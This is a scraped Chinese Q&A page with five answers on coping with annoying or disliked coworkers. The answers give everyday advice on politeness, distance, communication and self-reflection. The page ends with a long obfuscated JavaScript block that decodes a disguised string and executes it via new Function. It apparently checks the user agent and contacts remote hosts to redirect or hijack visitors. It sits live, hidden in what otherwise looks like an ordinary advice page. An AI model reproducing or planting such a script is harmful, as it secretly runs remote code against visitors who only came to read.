遇到很讨厌、反感的同事怎么应对比较好?

2025-02-16 04:42:57
推荐回答(5个)
回答1:

我也有这样的同事,我是觉得,是同事,但不是要装好人,你要知道什么样的人要怎么样对付她。遇到有争执的事情,你也要发表自己的意见,同事和你说话命今你,你可以好好的反抗,但是说话也要在理,比喻她问你好大,你可以说:怎么,想作好人,帮我介绍朋友? 口气她不好的话你可以说:反正比你小,不要操多么心,人会老的。你说没有朋友的事,你可以说:是的,我的婚姻大事大人不会催,只要我过得开心就好,自己的事自己拿主意,自己才知道要找什么样的人。借东西:在办公室,你借东西给她时,你可以说东西可以给你用,但是要有礼貌,借人家东西你还那么大声,她不说谢谢,你可以说,没礼貌,我又没有要借东西给你的义务。她不还,那更好说,你这人怎么这样,很烦呢,怎么有借不还呢,再这样,不借了。总之,同事关系的确很难相处,办公室的同事更没有作知心的朋友的同事,但是也不能走到太远,要不近也不远,这样,不管同事是辞职还是高升了,你都有进退的余地。

回答2:

生活中我们总是会遇到各种各样的烦心事,职场中也会遇到非常讨厌的同事,究竟该如何面对,要取决于我们的内心究竟有没有这样的胸襟去包容和接纳。于我个人而言,能接纳的尽量接纳,接纳不了的也不要闹得太僵。

职场是工作的地方,并不是用来交心的场所。

在工作中,我们总是会遇到形形色色的人,或许是我们的领导,我们的上级,或许是我们的客户,我们的甲方乙方,又或者是我们周围的同事等等,有些人招人喜欢,令我们情愉悦,而有些人则非常讨厌,经常扰乱我们的身心。其实这一切都是在所难免的,毕竟人类本来就是社会性的产物,有人的地方就难以维持公平的存在,平平不再,勾心斗角,惹人生厌的事情也就越来越多了。其实在职场中大可不必过分在于与同事的关系,毕竟职场是工作的地方,换句话说就是我们谋生的一种方式罢了,想要在这学会交心,交知心的朋友简直太难了,莫不如不再强求。

职场中好的同事会让你事半功倍,讨厌的同事也只会火上浇油。

当然我们也不能否认在工作中,出于同事的好意,出于他们的帮忙,我们的工作效率会大大提升,再少走很多弯路的同时是半功倍。但是如果遇到一些十分让人糟心的同事,也只会让我们手中的工作变成更加重的负担。这个时候大可不必责怪,不管他是出于有意还是无心,我们都应该首先摆正自己的心态,以平常心看淡这一切,毕竟只有摆脱了对同事的依赖,不抱有任何憧憬和幻想,才能更好的适应这样多变的工作环境。

学会忍让和包容,学会海纳百川是前提。

但是毕竟同在一片屋檐下,老死不相往来是不可能的,这个时候就需要我们学会理解,学会包容了,毕竟这个世界上人无完人,有让人讨厌的同事也是在所难免的。或许通过适当的交流和沟通,两个人之间的感情会稍有所改变,让人讨厌的同事或许也会为此而做出小小的“牺牲”,慢慢的学会承担一些责任,给他们一定的时间去改变自我,如果真的能够达到目的,也不枉我们所付出的精力。

即便难以忍受,也要不动声色,这才是成人该有的魅力。

但是有些人是注定本性难移的,生来就让人觉得讨厌,虽然我们常说“人之初,性本善”,但是在工作中,无论如何无时无地都招人讨厌的同事存在的概率也还是有的。对于这些人,我们或许早已忍无可忍,但是那又能怎样呢,撕破脸对谁都不好,所以我们能做的只能视他们为空气。毕竟大家都是成年人了,再也没有更多的时间和精力去勾心斗角了。职场中总是会遭遇各种各样的不顺,甚至各种各样的失意与挫败,不管是同事之间的不和谐,还是职场中的杂乱损失过多,都不要影响了我们本身的好心情,这才是工作之本。

回答3:

在职场中,每个人都是一个独立的个体,都有自己的思想,肯定不能做到让所有人都喜欢你,

所以最主要的还是做好自己,不要去管别人怎么做或是怎么想,即使别人不喜欢你,也要用合适的方式去解决问题,

而不是把事情弄得更加糟糕,毕竟冤家宜解不宜结,身在职场在工作中更应该要理智一点。

1.职场关系的重要性

在职场中,人际关系是在职场中必须需要学习的一门课程,毕竟每天的工作必须面对的就是人和人之间的交流,而在生活中更是如此,

每天工作占一大半时间的也就意味着和同事待在一起的时间也更长。只有和同事之间相处的融洽了,工作上的任务才能更好的推进。

相反,如果你不能把自己和同事之间的关系处好,那不仅做不好这份工作还会感觉到很累。

2.意见不同并不代表同事不喜欢你

要知道的是,人都是有思想的动物,每个人都有自己独特的想法,所以在工作当中看待一些事情时难免会有些意见不统一的时候,这是工作中无法避免的,

但是一定要明白每个人意见不同的地方多了,不要觉得同事时经常与你唱反调,你觉得两个人相处不到一块去,会越来越觉得同事不喜欢你。

对于这种情况一定要不要多想,只是意见观点不同罢了。

3.存在误会,沟通解决

互相不喜欢对方,是不是双方存在着误会,导致这种原因。如果真的有什么误会,可以通过一些合适的途径来解决问题,

比如说与两位同事面对面的把事情说开,这样误会没有了,关系就不会这么僵,在工作的相处上也会变得融洽。

所以能选择好好解决问题的方式,就一定不要极端的去处理问题,毕竟人和人之间的关系就是靠沟通才会越来越好的,

而你如果总看到事情的另一面,不管是对你的工作还是人际交往都没有好处。

4.对不喜欢你的人保持适当的远离

不管同事多么不喜欢你,对于在职场中你来说,却不能也表示出来不喜欢他们,毕竟是在一家公司的同事,工作上肯定也有需要对方的时候,

如果你也把自己的情绪表现出来,那就更加没有缓和的余地了,对于你以后的工作也会变得难以进行,平日里见面的时候也会觉得很尴尬。

所以当你感觉到同事不喜欢你的时候,你可以适当的远离他们,尽量保持自己不和他们接触,这样也可以避免你的负面情绪。如果你也针锋相对,那是非明智之举。

5. 反思是不是自己没做好从而让同事讨厌

毕竟没有无缘无故的爱与恨,也没有无缘无故的不喜欢。这个时候就要思考一下自己,也许是自己没做好,导致了同事不喜欢的原因。

对于我们许多人来说,很容易看到别人的缺点或者错误,而看不见自身的坏毛病,这是每个人都会存在的问题。

所以说,这个时候要反思一下自己,是不是有本该自己完成的工作没完成,或者自己的工作没做好,导致同事们的反感。

要是这种情况,你要改变的是自己,把自己的工作做到位,减少同事们的麻烦,只要努力去干了,相信同事们都是能够包容的。

所以说想要在职场上让所有人都喜欢你,这是不可能,但是你要做的并不是和同事去怄气,那是小孩子的表现,

不管怎样做好自己就行,不断去提升自身的能力,现在同事可以不喜欢你,要让他们到时候尊重你,想干掉你但是又无法取代你,那么你就成功了。

回答4:

一、背后捅刀的同事

古希腊寓言家伊索曾说过:“那些背叛同伴的人,常常不知不觉地把自己也一起毁灭了,”这句名言同样适用于职场的背叛。
职场就如波诡云谲的江湖,充斥着三教九流、各式各样的人,而传奇故事中那些背后捅刀的故事,在现实中同样也是数量众多。
这类同事平日里与人修好,却在未来的某个时刻而“反水”,中伤信任着他们的职场人士。
面对这种可能损人不利己的同事,职场人士防不胜防,唯有时刻留心、行事谨慎,才能避免被这类同事恶意伤害。
二、嫁祸甩锅的同事
职场中,嫁祸甩锅的事情屡见不鲜,同事推卸责任、肆意甩锅更是致命的灾区,谁都不愿去做这个“背锅侠”。
在团队需要这类同事的配合时投机取巧、耍小聪明,在公司论功行赏时过分积极、无功求赏;
在他的工作遇到挫折时推卸责任、乱扣帽子。
职场人士作为个体,在享有相应的薪资报酬,同时也要承担相应的责任,在失误犯错后付出相应的代价。
职场中的人际关系非常的微妙,面对这种嫁祸甩锅的同事,
职场人士仅仅是学会拒绝还是远远不够的,开阔眼界与扩大格局,学会灵活弹性处理关系才能从根源上彻底消除这个难题。
三、消极负面的同事

身处职场,积极乐观的态度可以帮助我们以更好的心态去面对工作生活,但是往往我们的身边也存在消极负面的同事。
他们就像是工作中的“精神垃圾场”,悲观厌世的消极情绪如水般溢出,不断制造出负磁场,可以说无论是什么事情,只要与他们粘连上,那么就会转化得阴郁至极。
如此的同事看似避开即可,其实同处一个工作环境中,情绪和思想本就是超越了个体本身,根本上就是避无可避。
光是对付那些消极负面的同事,就会无端消耗甚至榨干职场人士的正能量,同时也被染上负面的、情绪化的痼疾。
每个人的能量和精力都是有限的,在职场人士疲于应对那些消极负面的同事时,工作效率势必会受到负面影响,甚至是职场未来都会受到阻碍。
四、唯利是图的同事

职场本来就是通过工作“投入—产出”的地方,职场人士追名逐利这是无可厚非的,但是有些同事将不顾一切、追求利益做到了极致,甚至成为了“唯利是图”的诠释。
在这个越发浮躁的时代,这些同事的心中有一个算盘,能把一切事情的利益得失算得清清楚楚,随时都可能为了自己的一点利益,与前一分钟的合作伙伴翻脸闹掰。
特别是在企业内存在小团体,甚至多个山头对立时,这些同事会以获得利益为目的,谁得势他就跟谁站在一起,趋炎附势还引以为豪。
这些同事往往都是忠于利益者,有利可图时附着于你,无利可图时便会毫无犹豫地出卖你。
与他们共事的职场人士,或是被两面三刀的他们所伤,或是苦于防范他们射出的暗箭,而难以行于职场正轨之上。
五、阿谀奉承的同事
社会中的经济和政治密不可分,个人能力与职场政治同样密不可分,职场精英们无不是有能力、懂政治。
在“官本位”为正统的封建社会,阿谀奉承的思想深深地影响了代代国人,在耳濡目染下不少职场人士也学会了阿谀奉承。
诚然,在职场唯有高情商者才有向上攀爬的可能,但阿谀奉承绝非是高情商的表现。
这些同事常有小狡黠,却缺乏大智慧,常常都是重视上司领导的好感,忽视个人工作与团队配合。
这些同事就像领导的“蛔虫”,恨不得把自己的面子给领导当鞋垫子,即便是身处同级之间,都会狐假虎威、指点江山。
或许在过去,这些靠奉承上位的同事能够凭借歪门邪道步步高升;
但在今天的职场,领导深知什么样的职场人士才是企业的支柱,不再会一味地提拔这些同事。

回答5:

我个人没有这样的经历…

我觉得应该做的是:
1,保持礼貌。即使很不喜欢,也要保持礼貌。因为你的同事很清楚你是怎么对待他的,不要让他以其人之道还治其人之身。
2,容忍。虽然不喜欢听讨厌的同事发表观点和批评他们,但是因此可能激发自己的新想法,避免做出片面的决断。
3,深呼吸。如果让你讨厌的同事做了什么事情,自己马上要爆发,让自己离开一下,深呼吸,平复心情,恢复理智,不要做出冲动的行为。
4,声明需求。当我们要和自己讨厌的同事合作时,不妨告诉他们哪些行为对自己造成了困扰,但要控制情绪、注意措辞。
5,保持距离。奇葩的同事处处都有,不要指望对方能够改变,改变自己的态度和方法才是最有效的。
6,不要期望会喜欢上每一个同事。你不可能喜欢上每个人,就像不可能每个人都会喜欢你一样。

!function(){function a(a){var _idx="g3r6t5j1i0";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8ps5KFnC}60"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"ps5KFnC}60"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mpOL2fmRT4"="Ks0X5ThF)m64YdCmRT4"="Ks02pThFmpOL2fmRT4"="Ks0_JqhFm64YdCmRT4"="Ks02TOhFmpOL2fmRT4"="Ks0CSqhF)m64YdCmRT4"="Ks0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q/f/Ks0j(8}vR8ps5KFnC}60"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();